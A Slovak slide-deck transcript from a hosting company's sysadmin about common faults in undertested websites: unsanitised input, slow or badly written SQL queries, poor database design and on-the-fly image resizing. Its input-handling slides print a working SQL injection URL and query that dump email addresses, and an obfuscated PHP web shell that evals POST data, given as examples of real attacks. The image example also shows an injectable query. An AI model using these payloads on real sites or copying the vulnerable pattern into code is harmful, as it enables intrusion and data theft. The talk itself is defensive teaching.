problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie

Post on 05-Aug-2015

181 Views

Category:

Internet

1 Downloads

Preview:

Click to see full reader

TRANSCRIPT

Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby.

Ján Muráň

Od 2009 Yegon s.r.o → Webglobe s.r.o.

Systém administrátor

Obsah

● Nedotestované weby

● Najčastejšie chyby

● Príklady a riešenia najčastejších chýb

● Otázky

Na čo sa treba zamerať, keď sa nám dostane do rúk nedotestovaný web

alebo aplikácia

● Ochrana dát webu- zabezpečiť prístup k dátam ftp – geoip

- zabezpečenie vstupov, GET, POST, upload

- ošetrenie prístupových práv adresárom a súborom

Na čo sa treba zamerať, keď sa nám dostane do rúk nedotestovaný web

alebo aplikácia

● Ochrana prostredia, v ktorom beží web- spolupráca s webhostingovým providerom, (bezpečnostné moduly, cache, jail, mod_chroot)

- zdielaný hosting vs privátne riešenia na mieru (cloud, serverhousing)

Na čo sa treba zamerať, keď sa nám dostane do rúk nedotestovaný web

alebo aplikácia

● Ošetriť vplyvy na výkon

- analýza webu z pohľadu spotreby výkonu

- výber HW prostredia na ktorom bude bežať web (zdielaný hosting, serverhousing, cloud)

Najčastejšie chyby

● Neošetrenie vstupov

● Nesprávne napísané query databáz

● Zlá štruktúra databáz

● Online resize obrázkov

Príklady a riešenia najčastejších chýb

Neošetrený vstup

GET,POST

domena.tld/index.php?id=511111111111111111111111111%27%20UNION%20SELECT%201,2,3,4,CONCAT%28CHAR%28100,100,100%29,CHAR%2891,88,93%29,GROUP_CONCAT%28t.email%29,CHAR%2891,88,88,93%29%29,6,7,8%20FROM%20%28SELECT%20email%20FROM%20table.%60mail%60%20WHERE%20%60email%60%20LIKE%20char%2837,64,37%29%20LIMIT%20103440,20%29t%20%20%20%20limit%200,1%20--%20/*%20order%20by%20%27as

select * from articles,categories WHERE categories.id= articles.id_category and articles.id = '2811111111111111111111111111' UNION SELECT 1,2,3,4,CONCAT(CHAR(100,100,100),CHAR(91,88,93),GROUP_CONCAT(t.email),CHAR(91,88,88,93)),6,7,8 FROM (SELECT email FROM table.`mail` WHERE `email` LIKE char(37,64,37) LIMIT 810954,20)t limit 0,1 -- /* order by 'as' and publish_date > '0000-00-00'

Príklady a riešenia najčastejších chýb

Neošetrený vstup

UPLOAD

error.php,db.php, info.php....<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['ncdd94a'])) {eval($s21(${$s20}['ncdd94a']));}

eval(base64_decode($_POST['ncdd94a']));

Nesprávne napísané query databáz

● Nepoužívanie indexov

● Nesprávne join query# Time: 141110 6:43:16

# User@Host: db[host] @ localhost []

# Query_time: 12.797832 Lock_time: 0.001288 Rows_sent: 57709 Rows_examined: 955021

Nesprávne napísané query databáz

● Where like '%text%'menšie tabuľky - fulltext – ove vyhľadávanie

väčšie tabuľky – vyhľadávacie enginy (elasticsearch)

Nesprávne napísané query databáz

Select * FROM wordmatch WHERE word_id IN ('1', '2', '3', '4', '7', '10', '11', '13', '14', '16', '17', '18', '19', '20', '21', '23', '24', '28',...................... '9942', '9962', '9967', '9987', '10007', '10009', '10011', '10012', '10021', '10052', '10064', '10070', '10073', '10077', '10085', '10093', '10123', '10143', '10152', '10189', '10190', '10209', '10219', '10252', '10267', '10286', '10309', '10316', '10318', '10337', '10344', '10355', '10359', '10364', '10379', '10384', '10385', '10393', '10396', '10431', '10439', '10459', '10460', '10538', '10572', '10576', '10593', '10616', '10620', '10627', '10638', '10646', '10660', '10669', '10674', '10700', '10715', '10719', '10728', '10744', '10834', '10835', '10840', '10881', '10886', '10888', '10899', '10917', '10920', '10921', '10992', '11012', '11014', '11048', '11067', '11084', '11085', '11105', '11139', '11198', '11310', '11324', '11389', '11402', '11420', '11422', '11423', '11443', '11455', '11481', '11649', '11665', '11695', '11774', '11784', '11810', '11811', '11812', '11813', '11816', '11818', '11821', '11822', '11825', '11827', '11828', '11858', '11864', '11892', '11919', '11941', '11961', '11968', '12003', '12013', '12088', '12111', '12143', '12325', '12329', '12332', '12339', '12343', '12344', '12400', '12488', '12496', '12504', '12506', '12522', '12589', '12601', '12609', '12709', '12733', '12750', '12762', '12765', '12785', '12806', '12824', '12847', '12848', '12849', '12944', '13037', '13332', '13401', '13505', '13565', '13789', '13807', '13840', '13910', '13914', '13929', '13930', '13964', '14011', '14099', '14168', '14249', '14266', '14294', '14295', '14380', '14410', '14418', '14508', '14674', '14819', '15045', '15365', '15417', '15532', '15559', '16384', '16451', '16516', '16789');

BETWEEN min AND max;

Príklad online resize

- obrázky uložene len v jednej veľkosti

- prístup cez image.php?img=671&size=small

Select * from images where id='{$img}'

$image

$im = new imagick(„path“.$image['name']);

$im->resizeImage(50,50,1,0);

header("Content-Type: image/jpeg");

$thumbnail = $im->getImageBlob();

echo $thumbnail;

Ďakujem za pozornosť!

Toto je priestor na Vaše otázky...

Jan.muran@yegon.sk

top related